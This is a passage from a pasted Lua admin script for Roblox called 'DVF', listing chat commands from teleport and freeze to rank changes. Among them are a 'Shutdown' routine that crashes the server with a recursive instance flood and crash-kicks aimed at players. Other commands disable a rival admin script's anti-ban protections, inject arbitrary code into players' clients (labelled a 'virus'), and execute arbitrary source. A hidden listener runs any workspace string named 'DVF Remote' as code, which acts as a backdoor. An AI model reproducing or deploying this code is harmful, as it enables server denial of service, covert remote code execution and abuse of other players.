  1660. for _,v in pairs(AllScripts) do
  1661. Ping(v, Speaker)
  1662. end
  1663. else
  1664. Ping("No Scripts Found", Speaker, 5)
  1665. end
  1666. end)
  1667.  
  1668. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1669. Dismiss(Speaker)
  1670. local LocalScripts = {}
  1671. for _,v in pairs(All()) do
  1672. ypcall(function()
  1673. for _,x in pairs(v.Character:GetChildren()) do
  1674. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1675. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1676. end
  1677. end
  1678. end)
  1679. ypcall(function()
  1680. for _,x in pairs(v.Backpack:GetChildren()) do
  1681. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1682. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1683. end
  1684. end
  1685. end)
  1686. ypcall(function()
  1687. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1688. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1689. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1690. end
  1691. end
  1692. end)
  1693. end
  1694. if #LocalScripts > 0 then
  1695. for _,v in pairs(LocalScripts) do
  1696. Ping(v, Speaker)
  1697. end
  1698. else
  1699. Ping("No Local Scripts Found", Speaker, 5)
  1700. end
  1701. end)
  1702.  
  1703. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1704. local Split = GetSplit(Msg)
  1705. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1706. local ScriptName = Msg:sub(Split + 1)
  1707. local FoundLocal = false
  1708. for _,name in pairs(PlrTab) do
  1709. ypcall(function()
  1710. for _,v in pairs(name.Character:GetChildren()) do
  1711. if string.find(v.Name:lower(), ScriptName) then
  1712. if v:IsA("Script") or v:IsA("LocalScript") then
  1713. v.Disabled = true
  1714. v:Destroy()
  1715. FoundLocal = true
  1716. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1717. end
  1718. end
  1719. end
  1720. end)
  1721. ypcall(function()
  1722. for _,v in pairs(name.Backpack:GetChildren()) do
  1723. if string.find(v.Name:lower(), ScriptName) then
  1724. if v:IsA("Script") or v:IsA("LocalScript") then
  1725. v.Disabled = true
  1726. v:Destroy()
  1727. FoundLocal = true
  1728. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1729. end
  1730. end
  1731. end
  1732. end)
  1733. ypcall(function()
  1734. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1735. if string.find(v.Name:lower(), ScriptName) then
  1736. if v:IsA("Script") or v:IsA("LocalScript") then
  1737. v.Disabled = true
  1738. v:Destroy()
  1739. FoundLocal = true
  1740. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1741. end
  1742. end
  1743. end
  1744. end)
  1745. if FoundLocal == false then
  1746. Ping("Local Script Not Found", Speaker, 5)
  1747. end
  1748. end
  1749. end)
  1750.  
  1751. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1752. for _,v in pairs(game:GetChildren()) do
  1753. ypcall(function()
  1754. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1755. for _,a in pairs(v:GetChildren()) do
  1756. ypcall(function()
  1757. a:Destroy()
  1758. end)
  1759. end
  1760. elseif v.Name == "Players" then
  1761. for _,plr in pairs(v:GetPlayers()) do
  1762. Clear(plr)
  1763. end
  1764. end
  1765. end)
  1766. end
  1767. Clean()
  1768. Fixl()
  1769. Ping("Fully Cleaned", Speaker, 5)
  1770. end)
  1771.  
  1772. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1773. LClean()
  1774. Fixl()
  1775. Ping("Lightly Cleaned", Speaker, 5)
  1776. end)
  1777.  
  1778. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1779. local PlrTab = getPlayer(Speaker, Msg)
  1780. if #PlrTab > 0 then
  1781. for _,v in pairs(PlrTab) do
  1782. ypcall(function()
  1783. v:LoadCharacter()
  1784. Ping("Reset "..v.Name, Speaker, 5)
  1785. end)
  1786. end
  1787. end
  1788. end)
  1789.  
  1790. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1791. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1792. if Work:findFirstChild("Base") then
  1793. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1794. else
  1795. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1796. end
  1797. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1798. end)
  1799.  
  1800. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1801. local PlrTab = getPlayer(Speaker, Msg)
  1802. if #PlrTab > 0 then
  1803. for _,v in pairs(PlrTab) do
  1804. ypcall(function()
  1805. v.Character.Torso.Anchored = true
  1806. Ping("Froze "..v.Name, Speaker, 5)
  1807. end)
  1808. end
  1809. end
  1810. end)
  1811.  
  1812. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1813. local PlrTab = getPlayer(Speaker, Msg)
  1814. if #PlrTab > 0 then
  1815. for _,v in pairs(PlrTab) do
  1816. ypcall(function()
  1817. for _,v2 in pairs(v.Character:GetChildren()) do
  1818. ypcall(function()
  1819. v.Anchored = false
  1820. end)
  1821. end
  1822. Ping("Thawed "..v.Name, Speaker, 5)
  1823. end)
  1824. end
  1825. end
  1826. end)
  1827.  
  1828. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1829. local PlrTab = getPlayer(Speaker, Msg)
  1830. if #PlrTab > 0 then
  1831. for _,v in pairs(PlrTab) do
  1832. ypcall(function()
  1833. Instance.new("ForceField", v.Character)
  1834. end)
  1835. end
  1836. end
  1837. end)
  1838.  
  1839. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1840. local PlrTab = getPlayer(Speaker, Msg)
  1841. if #PlrTab > 0 then
  1842. for _,v in pairs(PlrTab) do
  1843. ypcall(function()
  1844. RemObj(v.Character, "ForceField")
  1845. end)
  1846. end
  1847. end
  1848. end)
  1849.  
  1850. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1851. local Split = GetSplit(Msg)
  1852. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1853. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1854. if #PlrTab > 0 and #PlrTab2 > 0 then
  1855. for i,v in pairs(PlrTab) do
  1856. ypcall(function()
  1857. for _,v2 in pairs(PlrTab2) do
  1858. ypcall(function()
  1859. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1860. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1861. end)
  1862. end
  1863. end)
  1864. end
  1865. end
  1866. end)
  1867.  
  1868. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1869. MakeExplorer(Speaker)
  1870. end)
  1871.  
  1872. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1873. wait()
  1874. Dismiss(Speaker)
  1875. NumBanned = 0
  1876. NumCmds = 0
  1877. for i = 1, #Rankings do
  1878. if Rankings[i].Rank < 0 then
  1879. NumBanned = NumBanned + 1
  1880. end
  1881. end
  1882. for i,v in pairs(Commands) do
  1883. NumCmds = NumCmds + 1
  1884. end
  1885. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1886. Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1887. Ping("Date Started: 18th May 2013", Speaker)
  1888. Ping("Your ID: "..Speaker.userId, Speaker)
  1889. Ping("Total Number Of Players: "..#All2(), Speaker)
  1890. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1891. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1892. Ping("ShowGarbage", Speaker)
  1893. end)
  1894.  
  1895. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1896. Dismiss(Speaker)
  1897. for i,v in pairs(All()) do
  1898. Ping(v.Name.."'s Rank: "..FindRank(v))
  1899. end
  1900. end)
  1901.  
  1902. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1903. local Split = GetSplit(Msg)
  1904. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1905. local Speed = tonumber(Msg:sub(Split + 1))
  1906. for _,v in pairs(PlrTab) do
  1907. ypcall(function()
  1908. v.Character.Humanoid.WalkSpeed = Speed
  1909. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1910. end)
  1911. end
  1912. end)
  1913.  
  1914. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1915. local RemoveAB = Instance.new("StringValue")
  1916. RemoveAB.Name = "CBA Attachment"
  1917. RemoveAB.Value = [[CBA.override=true;]]
  1918. RemoveAB.Parent = Work
  1919. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1920. end)
  1921.  
  1922. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1923. Dismiss(Speaker)
  1924. for i,v in pairs(Injected) do
  1925. Ping(i, Speaker)
  1926. end
  1927. end)
  1928.  
  1929. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1930. local RemoveCBA = Instance.new("StringValue")
  1931. RemoveCBA.Name = "CBA Attachment"
  1932. RemoveCBA.Value = [[CBA.remove = false]]
  1933. RemoveCBA.Parent = Work
  1934. Ping("Removed All CBA Admins", Speaker, 5)
  1935. end)
  1936.  
  1937. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1938. local function BufferOverflow(object)
  1939. object.DescendantAdded:connect(BufferOverflow)
  1940. Instance.new("IntValue", object)
  1941. end
  1942. BufferOverflow(Game)
  1943. end)
  1944.  
  1945. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  1946. if asd.ClassName == 'StringValue' then
  1947. if asd.Name == "DVF Remote" then
  1948. local func = loadstring(asd.Value)
  1949. if func then asd:Destroy() return pcall(func) end
  1950. end asd:Destroy()
  1951. end
  1952. end)
  1953.  
  1954. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1955. local PlrTab = getPlayer(Speaker, Msg)
  1956. if #PlrTab > 0 then
  1957. for _,v in pairs(PlrTab) do
  1958. ypcall(function()
  1959. Crash1(v)
  1960. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1961. end)
  1962. end
  1963. end
  1964. end)
  1965.  
  1966. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1967. local PlrTab = getPlayer(Speaker, Msg)
  1968. if #PlrTab > 0 then
  1969. for _,v in pairs(PlrTab) do
  1970. ypcall(function()
  1971. ChangeRank(v, -1)
  1972. end)
  1973. end
  1974. end
  1975. end)
  1976.  
  1977. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1978. local PlrTab = getPlayer(Speaker, Msg)
  1979. if #PlrTab > 0 then
  1980. for _,v in pairs(PlrTab) do
  1981. ypcall(function()
  1982. ChangeRank(v, -2)
  1983. end)
  1984. end
  1985. end
  1986. end)
  1987.  
  1988. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1989. local PlrTab = getPlayer(Speaker, Msg)
  1990. if #PlrTab > 0 then
  1991. for _,v in pairs(PlrTab) do
  1992. ypcall(function()
  1993. ChangeRank(v, -3)
  1994. end)
  1995. end
  1996. end
  1997. end)
  1998.  
  1999. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2000. ypcall(function()
  2001. local PlrTab = getPlayer(Speaker, Msg)
  2002. if #PlrTab > 0 then
  2003. for _,v in pairs(PlrTab) do
  2004. ypcall(function()
  2005. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2006. end)
  2007. end
  2008. end
  2009. local PlrName = ChangeRank(Msg, 0)
  2010. Ping("Un-Banned "..PlrName, Speaker, 5)
  2011. end)
  2012. end)
  2013.  
  2014. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2015. Dismiss(Speaker)
  2016. Ping("Commands", Speaker, nil, function()
  2017. Dismiss(Speaker.Name)
  2018. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2019. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2020. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2021. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2022. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2023. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2024. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2025. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2026. end)
  2027. Ping("Players", Speaker, nil, function()
  2028. ListPlayers(Speaker)
  2029. end)
  2030. end)
  2031.  
  2032. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2033. ListPlayers(Speaker)
  2034. end)
  2035.  
  2036. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2037. local Func,Error = loadstring(Msg)
  2038. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2039. getfenv(Func).Speaker = Speaker
  2040. if Error == nil then
  2041. coroutine.wrap(function()
  2042. Func()
  2043. end)()
  2044. Ping("Executed Script!", Speaker, 5)
  2045. else
  2046. Ping(Error, Speaker, 10)
  2047. end
  2048. end)
  2049.  
  2050. Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
  2051. if LS ~= nil then
  2052. local Split = GetSplit(Msg)
  2053. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2054. local LocalSource = Msg:sub(Split + 1)
  2055. if #PlrTab > 0 then
  2056. for _,v in pairs(PlrTab) do
  2057. local Inserted = LS:Clone()
  2058. Inserted.Disabled = true
  2059. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2060. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2061. Inserted:findFirstChild(OwnSource).Value = v.Name
  2062. end
  2063. Inserted[LSSource].Value = LocalSource
  2064. Inserted.Disabled = false
  2065. end
  2066. end
  2067. else
  2068. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2069. end
  2070. end)
  2071.  
  2072. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2073. Msg = tostring(Msg)
  2074. Ping(Msg, Speaker)
  2075. end)
  2076.  
  2077. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2078. Dismiss(Speaker)
  2079. for i,v in pairs(getfenv(1)) do
  2080. ypcall(function()
  2081. Ping(tostring(i)..": "..tostring(v), Speaker)
  2082. end)
  2083. end
  2084. end)
  2085.  
  2086. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2087. Dismiss()
  2088. Removed = true
  2089. for i,v in pairs(getfenv(1)) do
  2090. getfenv(1)[i] = nil
  2091. end
  2092. script.Disabled = true
  2093. end)
  2094.  
  2095. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2096. local Split = GetSplit(Msg)
  2097. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2098. local Rank = tonumber(Msg:sub(Split + 1))
  2099. if #PlrTab > 0 then
  2100. for _,v in pairs(PlrTab) do
  2101. if v.Name ~= Owner then
  2102. ChangeRank(v, Rank)
  2103. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2104. end
  2105. end
  2106. end
  2107. end)
  2108.  
  2109. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement